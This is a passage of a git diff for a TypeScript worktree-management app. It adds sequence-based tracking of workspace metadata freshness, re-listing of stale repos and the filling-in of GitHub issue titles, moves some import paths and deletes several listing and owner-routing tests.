+ * covering listing. A projection seen for the first time forgets those no longer listed here.
+ */
+export function noteWorkspaceMetadataRecord(
+  key: string,
+  epoch: string,
+  seq: number,
+  repoId: string,
+  hostId: ExecutionHostId,
+  isListed: (repoId: string, hostId: ExecutionHostId) => boolean
+): { replayed: boolean; gap: boolean } {
+  const producer = producerFor(key, epoch, hostId)
+  if (seq <= producer.lastSeq) {
+    return { replayed: true, gap: false }
+  }
+  const gap = producer.lastSeq > 0 && seq > producer.lastSeq + 1
+  producer.lastSeq = seq
+  const recorded = projectionKey(repoId, hostId)
+  if (!producer.projections.has(recorded)) {
+    for (const [projection, entry] of producer.projections) {
+      if (!isListed(entry.repoId, entry.hostId)) {
+        producer.projections.delete(projection)
+      }
+    }
+  }
+  producer.projections.set(recorded, { repoId, hostId, latest: seq })
+  return { replayed: false, gap }
+}
+
+/**
+ * After a gap, every listed projection of the producer must be listed again at or past the last seq;
+ * the live projections replace all earlier ones.
+ */
+export function requireWorkspaceMetadataCoverage(
+  key: string,
+  projections: Iterable<{ repoId: string; hostId: ExecutionHostId }>
+): void {
+  const producer = producers.get(key)
+  if (!producer) {
+    return
+  }
+  producer.projections = new Map(
+    [...projections].map(({ repoId, hostId }) => [
+      projectionKey(repoId, hostId),
+      { repoId, hostId, latest: producer.lastSeq }
+    ])
+  )
+}
+
+/**
+ * Where a listing stands against the newest record that touched its projection. `stale` read before
+ * that record; `unstamped` comes from a path, host or producer run that can't say; `unknown` has nothing to check.
+ */
+export function workspaceMetadataListingCoverage(
+  key: string,
+  repoId: string,
+  hostId: ExecutionHostId,
+  stamp: WorkspaceMetadataCursor | undefined
+): 'covered' | 'stale' | 'unstamped' | 'unknown' {
+  const producer = producers.get(key)
+  const projection = producer?.projections.get(projectionKey(repoId, hostId))
+  if (!producer || !projection) {
+    return 'unknown'
+  }
+  // Another epoch's stamp can't be ordered against this one's records (a restart either way).
+  if (!stamp || stamp.epoch !== producer.epoch) {
+    return 'unstamped'
+  }
+  return stamp.seq >= projection.latest ? 'covered' : 'stale'
+}
+
+/**
+ * A listing that read metadata before a published write must not erase what that write already showed:
+ * keep the current rows' issue titles on the same, still-untitled links. Never adds or restores a link.
+ */
+function keepPublishedLinkTitles<T extends Worktree>(
+  incoming: T[],
+  current: readonly Worktree[]
+): T[] {
+  const currentById = new Map(current.map((row) => [row.id, row]))
+  return incoming.map((row) => {
+    const previous = currentById.get(row.id)
+    if (!previous) {
+      return row
+    }
+    const titles = new Map<string, string>()
+    for (const item of getWorkspaceAttachments(previous)) {
+      const title = item.title?.trim()
+      if (item.provider === 'github' && item.type === 'issue' && title) {
+        titles.set(getWorkspaceReferenceIdentity(item), title)
+      }
+    }
+    if (titles.size === 0) {
+      return row
+    }
+    let kept = false
+    const linkedItems = getWorkspaceAttachments(row).map((item) => {
+      const title = item.title?.trim() ? undefined : titles.get(getWorkspaceReferenceIdentity(item))
+      if (!title) {
+        return item
+      }
+      kept = true
+      return { ...item, title }
+    })
+    return kept ? { ...row, linkedItems } : row
+  })
+}
+
+function currentRows(state: AppState, repoId: string, hostId: ExecutionHostId): Worktree[] {
+  const matchOptions = worktreeHostMatchOptions(state, repoId, hostId)
+  return (selectWorktreesByRepo(state)[repoId] ?? []).filter((row) =>
+    worktreeMatchesHost(row, hostId, matchOptions)
+  )
+}
+
+type FetchWorktrees = (repoId: string, options: WorktreeFetchOptions) => Promise<unknown>
+
+/**
+ * A listing's place against the newest record for its repo and host, checked right before it is
+ * merged: a stale listing keeps already-shown titles and, once applied, asks for a fresh listing.
+ */
+export function listingMetadataCoverage(
+  state: AppState,
+  repoId: string,
+  hostId: ExecutionHostId,
+  refresh: AdmittedDetectedWorktreeRefresh
+): { refresh: AdmittedDetectedWorktreeRefresh; settle: (fetchWorktrees: FetchWorktrees) => void } {
+  const key = workspaceMetadataProducerKey(hostId)
+  const coverage = workspaceMetadataListingCoverage(
+    key,
+    repoId,
+    hostId,
+    refresh.result.workspaceMetadata
+  )
+  // Keeping titles already shown is always safe (it never adds or restores a link), so any listing that
+  // can't prove it includes the newest record keeps them.
+  const keep = coverage === 'stale' || coverage === 'unstamped'
+  return {
+    refresh: keep
+      ? {
+          ...refresh,
+          result: {
+            ...refresh.result,
+            worktrees: keepPublishedLinkTitles(
+              refresh.result.worktrees,
+              currentRows(state, repoId, hostId)
+            )
+          }
+        }
+      : refresh,
+    settle: (fetchWorktrees) => {
+      // Whatever the stale listing dropped (a newer link, say), a listing begun now includes.
+      if (coverage === 'stale') {
+        requestWorkspaceMetadataRecovery(repoId, hostId, fetchWorktrees)
+      }
+    }
+  }
+}
diff --git a/src/renderer/src/store/slices/worktrees/listing/workspace-metadata-recovery.ts b/src/renderer/src/store/slices/worktrees/listing/workspace-metadata-recovery.ts
new file mode 100644
index 00000000000..938afa9f88c
--- /dev/null
+++ b/src/renderer/src/store/slices/worktrees/listing/workspace-metadata-recovery.ts
@@ -0,0 +1,40 @@
+import {
+  LOCAL_EXECUTION_HOST_ID,
+  type ExecutionHostId
+} from '../../../../../../shared/execution-host'
+import type { WorktreeFetchOptions } from './worktree-fetch-options'
+
+type FetchWorktrees = (repoId: string, options: WorktreeFetchOptions) => Promise<unknown>
+
+// One recovery listing per repo and host at a time; a request during one runs once more after it.
+const inFlight = new Set<string>()
+const rerun = new Set<string>()
+
+/**
+ * Lists a repo afresh (never joining a listing that may predate a published metadata write). The
+ * listing's own coverage check asks again if it still turns out stale.
+ */
+export function requestWorkspaceMetadataRecovery(
+  repoId: string,
+  hostId: ExecutionHostId,
+  fetchWorktrees: FetchWorktrees
+): void {
+  const key = `${hostId}\u0000${repoId}`
+  if (inFlight.has(key)) {
+    rerun.add(key)
+    return
+  }
+  inFlight.add(key)
+  const options: WorktreeFetchOptions =
+    hostId === LOCAL_EXECUTION_HOST_ID
+      ? { forceLocalOwner: true, forceFresh: true, suppressRemoteLineageRefresh: true }
+      : { executionHostId: hostId, forceFresh: true, suppressRemoteLineageRefresh: true }
+  void fetchWorktrees(repoId, options)
+    .catch(() => undefined)
+    .finally(() => {
+      inFlight.delete(key)
+      if (rerun.delete(key)) {
+        requestWorkspaceMetadataRecovery(repoId, hostId, fetchWorktrees)
+      }
+    })
+}
diff --git a/src/renderer/src/store/slices/worktrees/listing/worktree-fetch-options.ts b/src/renderer/src/store/slices/worktrees/listing/worktree-fetch-options.ts
index a4ba5fb93a8..f3375da59b0 100644
--- a/src/renderer/src/store/slices/worktrees/listing/worktree-fetch-options.ts
+++ b/src/renderer/src/store/slices/worktrees/listing/worktree-fetch-options.ts
@@ -9,6 +9,8 @@ export type WorktreeFetchOptions = {
   forceLocalOwner?: boolean
   /** Skip automatic remote lineage when the caller owns a final host-wide refresh. */
   suppressRemoteLineageRefresh?: boolean
+  /** Start a new listing instead of joining one in flight (it may predate a published metadata write). */
+  forceFresh?: boolean
 }
 
 export type DirectSshWorktreeFetchOptions = WorktreeFetchOptions & {
diff --git a/src/renderer/src/store/slices/worktrees/listing/worktree-metadata-set-patch.ts b/src/renderer/src/store/slices/worktrees/listing/worktree-metadata-set-patch.ts
new file mode 100644
index 00000000000..fd89ff6bc07
--- /dev/null
+++ b/src/renderer/src/store/slices/worktrees/listing/worktree-metadata-set-patch.ts
@@ -0,0 +1,83 @@
+import {
+  parseExecutionHostId,
+  toRuntimeExecutionHostId
+} from '../../../../../../shared/execution-host'
+import type { Worktree } from '../../../../../../shared/worktree/types'
+import type { WorkspaceMetadataSet } from '../../../../../../shared/worktree/workspace-metadata-set'
+import { getWorkspaceAttachments } from '../../../../../../shared/workspace-attachments/workspace-attachments'
+import { getWorkspaceReferenceIdentity } from '../../../../../../shared/workspace-attachments/workspace-reference-identity'
+import type { AppState } from '../../../types'
+import { worktreeHostMatchOptions, worktreeMatchesHost } from './worktree-host-ownership'
+import { selectWorktreesByRepo } from '../../../workspaces/catalog/workspace-record-fields'
+
+/** Where a record came from: this app's own main, or a paired host's runtime event stream. */
+export type MetadataSetSource = { kind: 'local' } | { kind: 'environment'; environmentId: string }
+
+// The row a record names, by its own execution host; a paired host's SSH twin is a different row.
+function rowMatcher(
+  state: AppState,
+  set: WorkspaceMetadataSet,
+  source: MetadataSetSource
+): (row: Worktree) => boolean {
+  if (source.kind === 'local') {
+    const options = worktreeHostMatchOptions(state, set.repoId, set.hostId)
+    return (row) => row.id === set.worktreeId && worktreeMatchesHost(row, set.hostId, options)
+  }
+  const environmentHost = toRuntimeExecutionHostId(source.environmentId)
+  const options = worktreeHostMatchOptions(state, set.repoId, environmentHost)
+  const sshHost = parseExecutionHostId(set.hostId)?.kind === 'ssh' ? set.hostId : null
+  return (row) =>
+    row.id === set.worktreeId &&
+    worktreeMatchesHost(row, environmentHost, options) &&
+    (sshHost ? row.hostId === sshHost : parseExecutionHostId(row.hostId ?? null)?.kind !== 'ssh')
+}
+
+/**
+ * Fills a producer's addressed `workspaceMetadata` record into the row it names. The only producer
+ * today saves issue titles, so only still-untitled links with the same identity take a title; the
+ * record's links never replace the row's. `applied` is false when the row or link isn't listed yet.
+ */
+export function patchWorktreeMetadataSet(
+  state: AppState,
+  set: WorkspaceMetadataSet,
+  source: MetadataSetSource
+): { patch: Pick<AppState, 'worktreesByRepo'> | null; applied: boolean } {
+  const titles = new Map<string, string>()
+  for (const item of set.row.linkedItems ?? []) {
+    const title = item.title?.trim()
+    if (item.provider === 'github' && item.type === 'issue' && title) {
+      titles.set(getWorkspaceReferenceIdentity(item), title)
+    }
+  }
+  const rows = selectWorktreesByRepo(state)[set.repoId]
+  const index = titles.size > 0 && rows ? rows.findIndex(rowMatcher(state, set, source)) : -1
+  if (!rows || index === -1) {
+    return { patch: null, applied: titles.size === 0 }
+  }
+  const seen = new Set<string>()
+  let filled = false
+  const linkedItems = getWorkspaceAttachments(rows[index]).map((item) => {
+    const identity = getWorkspaceReferenceIdentity(item)
+    const title = titles.get(identity)
+    if (!title) {
+      return item
+    }
+    seen.add(identity)
+    if (item.title?.trim()) {
+      return item
+    }
+    filled = true
+    return { ...item, title }
+  })
+  // Every titled link must be listed here; one that isn't needs a listing that includes it.
+  const applied = seen.size === titles.size
+  if (!filled) {
+    return { patch: null, applied }
+  }
+  const next = rows.slice()
+  next[index] = { ...rows[index], linkedItems }
+  return {
+    patch: { worktreesByRepo: { ...selectWorktreesByRepo(state), [set.repoId]: next } },
+    applied
+  }
+}
diff --git a/src/renderer/src/store/slices/worktrees/listing/worktree-owner-settings.ts b/src/renderer/src/store/slices/worktrees/listing/worktree-owner-settings.ts
index e89f38444f7..a17ae6243df 100644
--- a/src/renderer/src/store/slices/worktrees/listing/worktree-owner-settings.ts
+++ b/src/renderer/src/store/slices/worktrees/listing/worktree-owner-settings.ts
@@ -1,5 +1,5 @@
 import { tryRuntimeTargetForWorktreeOwner } from './worktree-owner-target'
-import { warnAmbiguousOwnerOnce } from '@/lib/ambiguous-owner-warning'
+import { warnAmbiguousOwnerOnce } from '@/lib/workspace/ownership/ambiguous-owner-warning'
 import type { Worktree } from '../../../../../../shared/worktree/types'
 import type { ExecutionHostId } from '../../../../../../shared/execution-host'
 import type { AppState } from '../../../types'
diff --git a/src/renderer/src/store/slices/worktrees/listing/worktree-owner-target.ts b/src/renderer/src/store/slices/worktrees/listing/worktree-owner-target.ts
index 70cc722ecac..e4f9078b014 100644
--- a/src/renderer/src/store/slices/worktrees/listing/worktree-owner-target.ts
+++ b/src/renderer/src/store/slices/worktrees/listing/worktree-owner-target.ts
@@ -6,7 +6,7 @@ import {
 import { hostRouteForAuthority, type HostRoute } from '@/runtime/rpc/targets/runtime-client-target'
 import type { RuntimeClientTarget } from '../../../../../../shared/runtime-client-target'
 import type { AppState } from '../../../types'
-import { ambiguousWorkspaceOwnerMessage } from '@/lib/duplicate-paired-servers'
+import { ambiguousWorkspaceOwnerMessage } from '@/lib/workspace/ownership/duplicate-paired-servers'
 import { WORKTREE_REMOVAL_AMBIGUOUS_ERROR } from './worktree-slice-constants'
 
 /** Transport to the worktree's owner (on `executionHostId` when given), or `null` when unresolved. */
diff --git a/src/renderer/src/store/slices/worktrees/listing/worktree-slice-types.ts b/src/renderer/src/store/slices/worktrees/listing/worktree-slice-types.ts
index e4094088a09..8abc30b2011 100644
--- a/src/renderer/src/store/slices/worktrees/listing/worktree-slice-types.ts
+++ b/src/renderer/src/store/slices/worktrees/listing/worktree-slice-types.ts
@@ -34,6 +34,8 @@ export type DetectedWorktreeRefreshOptions = BackgroundRuntimeRefreshOptions & {
   // Why a callback: staleness is judged against the client's live applied version, which a
   // create or remove reply can advance while the listing is in flight.
   isStaleCatalogPublication?: (result: DetectedWorktreeListResult) => boolean
+  // Start a new listing instead of joining one in flight (it may predate a published metadata write).
+  forceFresh?: boolean
 }
 
 export type AdmittedDetectedWorktreeRefresh = {
diff --git a/src/renderer/src/store/slices/worktrees/listing/worktrees-fetch-listing-merge.test.ts b/src/renderer/src/store/slices/worktrees/listing/worktrees-fetch-listing-merge.test.ts
index 5e9e4efaa2c..7df96cf5fae 100644
--- a/src/renderer/src/store/slices/worktrees/listing/worktrees-fetch-listing-merge.test.ts
+++ b/src/renderer/src/store/slices/worktrees/listing/worktrees-fetch-listing-merge.test.ts
@@ -37,82 +37,6 @@ describe('fetchWorktrees', () => {
     clearHugeRepoWarningDismissalsForTests()
   })
 
-  it('reuses unaffected catalog rows while publishing a previously untracked field change', async () => {
-    const store = createTestStore()
-    const changed = makeWorktree({
-      id: 'repo1::/path/changed',
-      repoId: 'repo1',
-      path: '/path/changed',
-      pushTarget: { remoteName: 'origin', branchName: 'feature', remoteCreated: false }
-    })
-    const stable = makeWorktree({
-      id: 'repo1::/path/stable',
-      repoId: 'repo1',
-      path: '/path/stable'
-    })
-    const detected = makeDetectedResult('repo1', [changed, stable])
-    store.setState({
-      worktreesByRepo: { repo1: [changed, stable] },
-      detectedWorktreesByRepo: { repo1: detected },
-      sortEpoch: 7
-    } as Partial<AppState>)
-    mockApi.worktrees.listDetected.mockResolvedValueOnce(
-      makeDetectedResult('repo1', [
-        { ...changed, pushTarget: { ...changed.pushTarget!, remoteCreated: true } },
-        { ...stable }
-      ])
-    )
-
-    await store.getState().fetchWorktrees('repo1')
-
-    const after = store.getState()
-    expect(after.worktreesByRepo.repo1[0].pushTarget?.remoteCreated).toBe(true)
-    expect(after.worktreesByRepo.repo1[1]).toMatchObject({
-      id: 'repo1::/path/stable',
-      path: '/path/stable'
-    })
-  })
-
-  it('clears branch-scoped linked reviews when the listing observes a branch switch', async () => {
-    const store = createTestStore()
-    const existing = makeWorktree({
-      id: 'repo1::/path/wt1',
-      repoId: 'repo1',
-      path: '/path/wt1',
-      branch: 'refs/heads/feature-one',
-      linkedPR: 101,
-      pushTarget: { remoteName: 'origin', branchName: 'feature-one' }
-    })
-    // Persisted metadata still carries the stale link when the listing refresh first observes the terminal branch switch.
-    const refreshed = makeWorktree({
-      id: 'repo1::/path/wt1',
-      repoId: 'repo1',
-      path: '/path/wt1',
-      branch: 'refs/heads/feature-two',
-      head: 'def456',
-      linkedPR: 101,
-      pushTarget: { remoteName: 'origin', branchName: 'feature-one' }
-    })
-
-    worktreeListMock.mockResolvedValue([refreshed])
-    store.setState({ worktreesByRepo: { repo1: [existing] } } as Partial<AppState>)
-
-    await store.getState().fetchWorktrees('repo1')
-    await Promise.resolve()
-    await Promise.resolve()
-
-    expect(store.getState().worktreesByRepo.repo1[0]).toMatchObject({
-      branch: 'refs/heads/feature-two',
-      head: 'def456',
-      linkedPR: null,
-      pushTarget: undefined
-    })
-    expect(mockApi.worktrees.updateMeta).toHaveBeenCalledWith({
-      worktreeId: 'repo1::/path/wt1',
-      updates: expect.objectContaining({ linkedPR: null, pushTarget: undefined })
-    })
-  })
-
   it('does not merge a stale listing row over a newer branch and review link', async () => {
     const store = createTestStore()
     const worktreeId = 'repo1::/path/wt1'
@@ -201,139 +125,6 @@ describe('fetchWorktrees', () => {
     expect(store.getState().worktreesByRepo.repo1[0]?.head).toBe('def456')
   })
 
-  it('does not merge a stale display name over a rename completed during refresh', async () => {
-    const store = createTestStore()
-    const worktreeId = 'repo1::/path/wt1'
-    const requestStarted = makeWorktree({
-      id: worktreeId,
-      repoId: 'repo1',
-      path: '/path/wt1',
-      displayName: 'old label',
-      displayNameMode: 'fixed'
-    })
-    const staleResponse = makeWorktree({
-      ...requestStarted,
-      head: 'stale-head'
-    })
-    let resolveListing!: (worktrees: Worktree[]) => void
-    const listing = new Promise<Worktree[]>((resolve) => {
-      resolveListing = resolve
-    })
-    worktreeListMock.mockReturnValueOnce(listing)
-    store.setState({ worktreesByRepo: { repo1: [requestStarted] } } as Partial<AppState>)
-
-    const refresh = store.getState().fetchWorktrees('repo1')
-    await vi.waitFor(() => expect(worktreeListMock).toHaveBeenCalledTimes(1))
-    await store.getState().updateWorktreeMeta(worktreeId, { displayName: 'new label' })
-    resolveListing([staleResponse])
-
-    await refresh
-
-    expect(store.getState().worktreesByRepo.repo1[0]).toMatchObject({
-      head: 'stale-head',
-      displayName: 'new label',
-      displayNameMode: 'fixed'
-    })
-  })
-
-  it('retains an existing pinned mode when an older host omits it', async () => {
-    const store = createTestStore()
-    const existing = makeWorktree({
-      id: 'repo1::/path/wt1',
-      repoId: 'repo1',
-      path: '/path/wt1',
-      branch: 'refs/heads/feature',
-      displayName: 'feature',
-      displayNameMode: 'fixed'
-    })
-    const staleResponse = { ...existing, displayNameMode: undefined }
-
-    worktreeListMock.mockResolvedValueOnce([staleResponse])
-    store.setState({ worktreesByRepo: { repo1: [existing] } } as Partial<AppState>)
-
-    await store.getState().fetchWorktrees('repo1')
-    store.getState().updateWorktreeGitIdentity(existing.id, { branch: 'refs/heads/next' }, null)
-
-    expect(store.getState().worktreesByRepo.repo1[0]).toMatchObject({
-      displayName: 'feature',
-      displayNameMode: 'fixed'
-    })
-  })
-
-  it('accepts a peer rename from an older host over a pinned label', async () => {
-    const store = createTestStore()
-    const existing = makeWorktree({
-      id: 'repo1::/path/wt1',
-      repoId: 'repo1',
-      path: '/path/wt1',
-      branch: 'refs/heads/feature',
-      displayName: 'my label',
-      displayNameMode: 'fixed'
-    })
-    // A changed non-branch label from a mode-less host is explicit meta a peer wrote there.
-    const peerRenamed = { ...existing, displayName: 'peer label', displayNameMode: undefined }
-
-    worktreeListMock.mockResolvedValueOnce([peerRenamed])
-    store.setState({ worktreesByRepo: { repo1: [existing] } } as Partial<AppState>)
-
-    await store.getState().fetchWorktrees('repo1')
-
-    expect(store.getState().worktreesByRepo.repo1[0].displayName).toBe('peer label')
-  })
-
-  it('suppresses an older host branch-derived relabel of a pinned name', async () => {
-    const store = createTestStore()
-    const existing = makeWorktree({
-      id: 'repo1::/path/wt1',
-      repoId: 'repo1',
-      path: '/path/wt1',
-      branch: 'refs/heads/feature',
-      displayName: 'my label',
-      displayNameMode: 'fixed'
-    })
-    const rederived = {
-      ...existing,
-      branch: 'refs/heads/next',
-      displayName: 'next',
-      displayNameMode: undefined
-    }
-
-    worktreeListMock.mockResolvedValueOnce([rederived])
-    store.setState({ worktreesByRepo: { repo1: [existing] } } as Partial<AppState>)
-
-    await store.getState().fetchWorktrees('repo1')
-
-    expect(store.getState().worktreesByRepo.repo1[0]).toMatchObject({
-      branch: 'refs/heads/next',
-      displayName: 'my label',
-      displayNameMode: 'fixed'
-    })
-  })
-
-  it('suppresses an older host detached-HEAD path relabel of a pinned name', async () => {
-    const store = createTestStore()
-    const existing = makeWorktree({
-      id: 'repo1::/path/wt1',
-      repoId: 'repo1',
-      path: '/path/wt1',
-      branch: 'refs/heads/feature',
-      displayName: 'my label',
-      displayNameMode: 'fixed'
-    })
-    const rederived = { ...existing, branch: '', displayName: 'wt1', displayNameMode: undefined }
-
-    worktreeListMock.mockResolvedValueOnce([rederived])
-    store.setState({ worktreesByRepo: { repo1: [existing] } } as Partial<AppState>)
-
-    await store.getState().fetchWorktrees('repo1')
-
-    expect(store.getState().worktreesByRepo.repo1[0]).toMatchObject({
-      branch: '',
-      displayName: 'my label',
-      displayNameMode: 'fixed'
-    })
-  })
-
   it('does not merge a host response captured before an optimistic rename settles', async () => {
     const store = createTestStore()
     const existing = makeWorktree({
@@ -366,71 +157,4 @@ describe('fetchWorktrees', () => {
     resolvePersist()
     await rename
   })
-
-  it('keeps the scanned rows and their tabs when a stopped WSL distro returns stored rows', async () => {
-    const store = createTestStore()
-    const scanned = makeWorktree({
-      id: 'repo1::/path/wt1',
-      repoId: 'repo1',
-      path: '/path/wt1',
-      branch: 'refs/heads/feature'
-    })
-    const notStored = makeWorktree({ id: 'repo1::/path/wt2', repoId: 'repo1', path: '/path/wt2' })
-    const stored = { ...scanned, branch: '', head: '' }
-
-    mockApi.worktrees.listDetected.mockResolvedValueOnce(
-      makeDetectedResult('repo1', [stored], {
-        authoritative: false,
-        source: 'metadata-fallback',
-        unavailableReason: "WSL distro 'Ubuntu' is not running.",
-        wslDistroStopped: { distro: 'Ubuntu', state: 'stopped' }
-      })
-    )
-    // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the merge reads only these tab fields.
-    store.setState({
-      worktreesByRepo: { repo1: [scanned, notStored] },
-      sortEpoch: 7,
-      tabsByWorktree: { [notStored.id]: [{ id: 'tab-2', worktreeId: notStored.id }] }
-    } as unknown as Partial<AppState>)
-
-    const result = await store.getState().fetchWorktrees('repo1')
-
-    expect(store.getState().worktreesByRepo.repo1).toEqual([scanned, notStored])
-    expect(store.getState().tabsByWorktree[notStored.id]).toEqual([
-      { id: 'tab-2', worktreeId: notStored.id }
-    ])
-    expect(store.getState().detectedWorktreesByRepo.repo1?.wslDistroStopped).toEqual({
-      distro: 'Ubuntu',
-      state: 'stopped'
-    })
-    expect(result).toBe(false)
-  })
-
-  it('does not publish non-authoritative rows when an authoritative refresh is required', async () => {
-    const store = createTestStore()
-    const existing = makeWorktree({
-      id: 'repo1::/path/existing',
-      repoId: 'repo1',
-      path: '/path/existing'
-    })
-    const fallback = makeWorktree({
-      id: 'repo1::/path/fallback',
-      repoId: 'repo1',
-      path: '/path/fallback'
-    })
-
-    mockApi.worktrees.listDetected.mockResolvedValueOnce(
-      makeDetectedResult('repo1', [fallback], {
-        authoritative: false,
-        source: 'metadata-fallback'
-      })
-    )
-    store.setState({ worktreesByRepo: { repo1: [existing] }, sortEpoch: 7 } as Partial<AppState>)
-
-    const result = await store.getState().fetchWorktrees('repo1', { requireAuthoritative: true })
-
-    expect(store.getState().worktreesByRepo.repo1).toEqual([existing])
-    expect(store.getState().detectedWorktreesByRepo.repo1).toBeUndefined()
-    expect(result).toBe(false)
-  })
 })
diff --git a/src/renderer/src/store/slices/worktrees/listing/worktrees-fetch-owner-routing.test.ts b/src/renderer/src/store/slices/worktrees/listing/worktrees-fetch-owner-routing.test.ts
index 135280a6cae..703186e69f8 100644
--- a/src/renderer/src/store/slices/worktrees/listing/worktrees-fetch-owner-routing.test.ts
+++ b/src/renderer/src/store/slices/worktrees/listing/worktrees-fetch-owner-routing.test.ts
@@ -1,7 +1,6 @@
 import { beforeEach, describe, expect, it, vi } from 'vitest'
 import type { AppState } from '../../../types'
 import 'sonner'
-import type { RuntimeEnvironmentCallRequest } from '../../../../runtime/rpc/testing/runtime-compatibility-test-fixture'
 import type { ListDetectedWorktreesArgs } from '../../../../../../shared/detected-worktree-provider-contract'
 import type { SshProviderEpoch } from '../../../../../../shared/ssh-types'
 import { clearHugeRepoWarningDismissalsForTests } from '@/lib/source-control/warnings/source-control-huge-repo-warning-dismissals'
@@ -45,208 +44,6 @@ describe('fetchWorktrees', () => {
     clearHugeRepoWarningDismissalsForTests()
   })
 
-  it('pins a duplicate repo id to its local owner without replacing runtime worktrees', async () => {
-    const store = createTestStore()
-    const local = makeWorktree({
-      id: 'same-repo::/local/wt',
-      repoId: 'same-repo',
-      path: '/local/wt',
-      hostId: 'local'
-    })
-    const remote = makeWorktree({
-      id: 'same-repo::/remote/wt',
-      repoId: 'same-repo',
-      path: '/remote/wt',
-      hostId: 'runtime:env-1'
-    })
-    store.setState({
-      settings: { activeRuntimeEnvironmentId: 'env-1' } as never,
-      repos: [
-        {
-          id: 'same-repo',
-          path: '/repos/local',
-          displayName: 'local',
-          badgeColor: '#000',
-          addedAt: 0,
-          executionHostId: 'local'
-        },
-        {
-          id: 'same-repo',
-          path: '/repos/remote',
-          displayName: 'remote',
-          badgeColor: '#111',
-          addedAt: 1,
-          executionHostId: 'runtime:env-1'
-        }
-      ],
-      worktreesByRepo: { 'same-repo': [remote] },
-      detectedWorktreesByRepo: {
-        'same-repo': makeDetectedResult('same-repo', [remote])
-      }
-    } as Partial<AppState>)
-    mockApi.worktrees.listDetected.mockResolvedValueOnce(makeDetectedResult('same-repo', [local]))
-
-    await store.getState().fetchWorktrees('same-repo', { forceLocalOwner: true })
-
-    expect(mockApi.worktrees.listDetected).toHaveBeenCalledWith(
-      expect.objectContaining({
-        repoId: 'same-repo',
-        executionHostId: 'local'
-      })
-    )
-    expect(runtimeEnvironmentCall).not.toHaveBeenCalled()
-    expect(store.getState().worktreesByRepo['same-repo']).toEqual([remote, local])
-    expect(store.getState().detectedWorktreesByRepo['same-repo']?.worktrees).toEqual(
-      expect.arrayContaining([
-        expect.objectContaining({ id: remote.id, hostId: 'runtime:env-1' }),
-        expect.objectContaining({ id: local.id, hostId: 'local' })
-      ])
-    )
-  })
-
-  it('fetches SSH repo worktrees through local IPC even when a runtime is focused', async () => {
-    const store = createTestStore()
-    const sshWorktree = makeWorktree({
-      id: 'repo-ssh::/home/orca/wt1',
-      repoId: 'repo-ssh',
-      path: '/home/orca/wt1',
-      branch: 'refs/heads/ssh'
-    })
-    store.setState({
-      settings: { activeRuntimeEnvironmentId: 'env-1' } as never,
-      repos: [
-        {
-          id: 'repo-ssh',
-          path: '/home/orca/repo',
-          displayName: 'SSH Repo',
-          badgeColor: '#000',
-          addedAt: 0,
-          connectionId: 'ssh-1'
-        }
-      ]
-    } as Partial<AppState>)
-    mockApi.worktrees.listDetected.mockImplementationOnce(async (args: ListDetectedWorktreesArgs) =>
-      qualifyDetectedResult(args, makeDetectedResult('repo-ssh', [sshWorktree], { source: 'git' }))
-    )
-
-    await store.getState().fetchWorktrees('repo-ssh', { forceLocalOwner: true })
-
-    expect(mockApi.worktrees.listDetected).toHaveBeenCalledWith(
-      expect.objectContaining({
-        repoId: 'repo-ssh',
-        executionHostId: 'ssh:ssh-1',
-        expectedAuthority: TEST_SSH_AUTHORITY
-      })
-    )
-    expect(runtimeEnvironmentCall).not.toHaveBeenCalled()
-    // Why: SSH worktrees are fetched via local IPC but belong to the SSH host, so they carry the repo's ssh host id.
-    expect(store.getState().worktreesByRepo['repo-ssh']).toEqual([
-      { ...sshWorktree, hostId: 'ssh:ssh-1' }
-    ])
-  })
-
-  it('honors an explicit runtime owner before the repo catalog is hydrated', async () => {
-    const store = createTestStore()
-    const remote = makeWorktree({
-      id: 'repo-missing::/runtime/wt',
-      repoId: 'repo-missing',
-      path: '/runtime/wt',
-      hostId: 'local'
-    })
-    store.setState({
-      settings: { activeRuntimeEnvironmentId: null } as never,
-      repos: []
-    })
-    runtimeEnvironmentCall.mockResolvedValue({
-      id: 'rpc-missing-repo',
-      ok: true,
-      result: makeDetectedResult('repo-missing', [remote]),
-      _meta: { runtimeId: 'runtime-remote' }
-    })
-
-    await store.getState().fetchWorktrees('repo-missing', {
-      executionHostId: 'runtime:env-1',
-      requireAuthoritative: true
-    })
-
-    expect(runtimeEnvironmentCall).toHaveBeenCalledWith({
-      selector: 'env-1',
-      method: 'worktree.detectedList',
-      params: { repo: 'repo-missing' },
-      timeoutMs: 15_000
-    })
-    expect(mockApi.worktrees.listDetected).not.toHaveBeenCalled()
-    expect(store.getState().worktreesByRepo['repo-missing']).toEqual([
-      { ...remote, hostId: 'runtime:env-1', runtimeOwnerEnvironmentId: 'env-1' }
-    ])
-  })
-
-  it('honors an explicit SSH owner before the repo catalog is hydrated', async () => {
-    const store = createTestStore()
-    const remote = makeWorktree({
-      id: 'repo-missing::/ssh/wt',
-      repoId: 'repo-missing',
-      path: '/ssh/wt',
-      hostId: 'local'
-    })
-    store.setState({
-      settings: { activeRuntimeEnvironmentId: 'env-ambient' } as never,
-      repos: []
-    } as Partial<AppState>)
-    mockApi.worktrees.listDetected.mockImplementationOnce(async (args: ListDetectedWorktreesArgs) =>
-      qualifyDetectedResult(args, makeDetectedResult('repo-missing', [remote]))
-    )
-
-    await store.getState().fetchWorktrees('repo-missing', {
-      executionHostId: 'ssh:ssh-1',
-      requireAuthoritative: true
-    })
-
-    expect(mockApi.worktrees.listDetected).toHaveBeenCalledWith(
-      expect.objectContaining({
-        repoId: 'repo-missing',
-        executionHostId: 'ssh:ssh-1',
-        expectedAuthority: TEST_SSH_AUTHORITY
-      })
-    )
-    expect(runtimeEnvironmentCall).not.toHaveBeenCalled()
-    expect(store.getState().worktreesByRepo['repo-missing']).toEqual([
-      { ...remote, hostId: 'ssh:ssh-1' }
-    ])
-  })
-
-  it('rejects a missing-owner SSH result after the repo catalog changes', async () => {
-    const store = createTestStore()
-    const remote = makeWorktree({
-      id: 'repo-missing::/ssh/wt',
-      repoId: 'repo-missing',
-      path: '/ssh/wt'
-    })
-    let release!: () => void
-    const started = new Promise<void>((resolve) => {
-      mockApi.worktrees.listDetected.mockImplementationOnce(
-        async (args: ListDetectedWorktreesArgs) => {
-          resolve()
-          await new Promise<void>((resume) => {
-            release = resume
-          })
-          return qualifyDetectedResult(args, makeDetectedResult('repo-missing', [remote]))
-        }
-      )
-    })
-
-    const refresh = store.getState().fetchWorktrees('repo-missing', {
-      executionHostId: 'ssh:ssh-1',
-      requireAuthoritative: true
-    })
-    await started
-    store.setState({ repos: [] })
-    release()
-
